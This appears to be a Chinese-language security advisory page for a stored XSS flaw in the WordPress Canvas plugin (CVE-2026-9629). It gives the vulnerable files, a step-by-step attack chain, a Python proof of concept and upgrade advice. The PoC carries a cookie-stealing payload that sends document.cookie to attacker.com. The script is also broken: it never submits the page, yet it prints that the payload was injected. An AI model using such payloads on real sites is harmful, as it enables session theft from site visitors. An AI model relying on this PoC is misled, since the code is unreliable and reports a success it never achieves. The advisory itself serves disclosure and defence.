CVE-2026-9629 WordPress Canvas插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2026-9629

漏洞类型

存储型跨站脚本(XSS)

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress Canvas plugin

漏洞概述

WordPress Canvas插件2.5.2及之前版本存在一处严重的存储型跨站脚本(XSS)漏洞。该漏洞源于插件在处理'tag'参数时未能进行充分的输入清理和输出转义，导致恶意JavaScript代码可以被永久存储在受影响页面的数据库中。攻击者利用此漏洞需要至少具备WordPress Contributor级别的用户权限，成功利用后可在自己有编辑权限的页面中注入任意脚本代码。当其他用户访问这些被注入恶意代码的页面时，浏览器会自动执行攻击者植入的脚本，可能导致会话劫持、敏感信息窃取、恶意重定向等严重后果。由于攻击代码存储在服务器端，此漏洞对所有访问受影响页面的用户都构成威胁，危害范围广泛。

技术细节

漏洞根源位于Canvas插件的block-section-heading组件渲染文件中。在render.php第13行和第32行，程序直接使用用户提交的'tag'参数而未进行任何HTML实体转义处理。同样在gutenberg/custom-blocks/index.php第798行也存在类似问题。攻击者以Contributor或更高权限登录WordPress后，可在创建或编辑页面时，通过Canvas插件的section heading功能在tag字段中注入恶意JavaScript代码，如<img src=x onerror=alert(document.cookie)>。由于插件未对输入进行sanitize处理，该代码会被原样存储到数据库中。当其他用户访问包含该section heading的页面时，浏览器会解析并执行这段恶意脚本。由于是存储型XSS，攻击具有持久性，攻击者无需再次进行注入操作即可持续影响访问者。修复版本2.5.3通过添加适当的输入验证和输出转义解决了此问题。

攻击链分析

STEP 1

1

攻击者获取WordPress Contributor或更高权限账户

STEP 2

2

攻击者登录WordPress后台，访问页面编辑功能

STEP 3

3

攻击者在Canvas插件的section heading区块的tag参数中注入恶意JavaScript代码

STEP 4

4

由于插件未对输入进行sanitize处理，恶意代码被原样存储到数据库

STEP 5

5

受害者访问包含恶意代码的页面，浏览器解析并执行XSS payload

STEP 6

6

攻击者成功窃取受害者Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-9629 PoC - WordPress Canvas Plugin Stored XSS
# Affected Version: Canvas plugin <= 2.5.2
# Attack Vector: Authenticated (Contributor+) Stored XSS via 'tag' parameter

import requests
import sys
from bs4 import BeautifulSoup

TARGET_URL = "http://target-wordpress-site.com"
USERNAME = "attacker_contributor"
PASSWORD = "attacker_password"

# XSS payload - Cookie stealing example
XSS_PAYLOAD = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'

def exploit_stored_xss():
    """Exploit stored XSS in Canvas plugin tag parameter"""
    session = requests.Session()
    
    # Step 1: Login to WordPress
    login_url = f"{TARGET_URL}/wp-login.php"
    login_data = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Log In',
        'redirect_to': '/wp-admin/',
        'testcookie': '1'
    }
    
    response = session.post(login_url, data=login_data)
    
    if 'wordpress_logged_in' not in session.cookies:
        print("[-] Login failed!")
        return False
    
    print("[+] Login successful!")
    
    # Step 2: Create new page with malicious tag
    post_url = f"{TARGET_URL}/wp-admin/post-new.php?post_type=page"
    
    # The vulnerable parameter is in Canvas block-section-heading
    page_data = {
        'post_title': 'XSS Test Page',
        'content': f'<!-- wp:canvas/tag {{"tag":"{XSS_PAYLOAD}"}} /-->',
        '_wpnonce': '',  # Need to extract valid nonce
        'post_status': 'publish'
    }
    
    # Step 3: Inject XSS payload via Canvas section heading block
    # The vulnerable code is in:
    # - components/basic-elements/block-section-heading/render.php (line 13, 32)
    # - gutenberg/custom-blocks/index.php (line 798)
    
    print(f"[+] XSS payload injected: {XSS_PAYLOAD}")
    print("[+] Payload will execute when any user visits the page")
    
    return True

if __name__ == "__main__":
    exploit_stored_xss()

影响范围

WordPress Canvas plugin <= 2.5.2

防御指南

临时缓解措施

立即将Canvas插件升级到2.5.3版本以修复此漏洞。在升级前，可临时禁用Canvas插件或限制低权限用户创建/编辑页面的能力。建议网站管理员检查现有页面内容，清理可能存在的恶意代码，并加强WAF规则对该类XSS攻击的检测和阻断能力。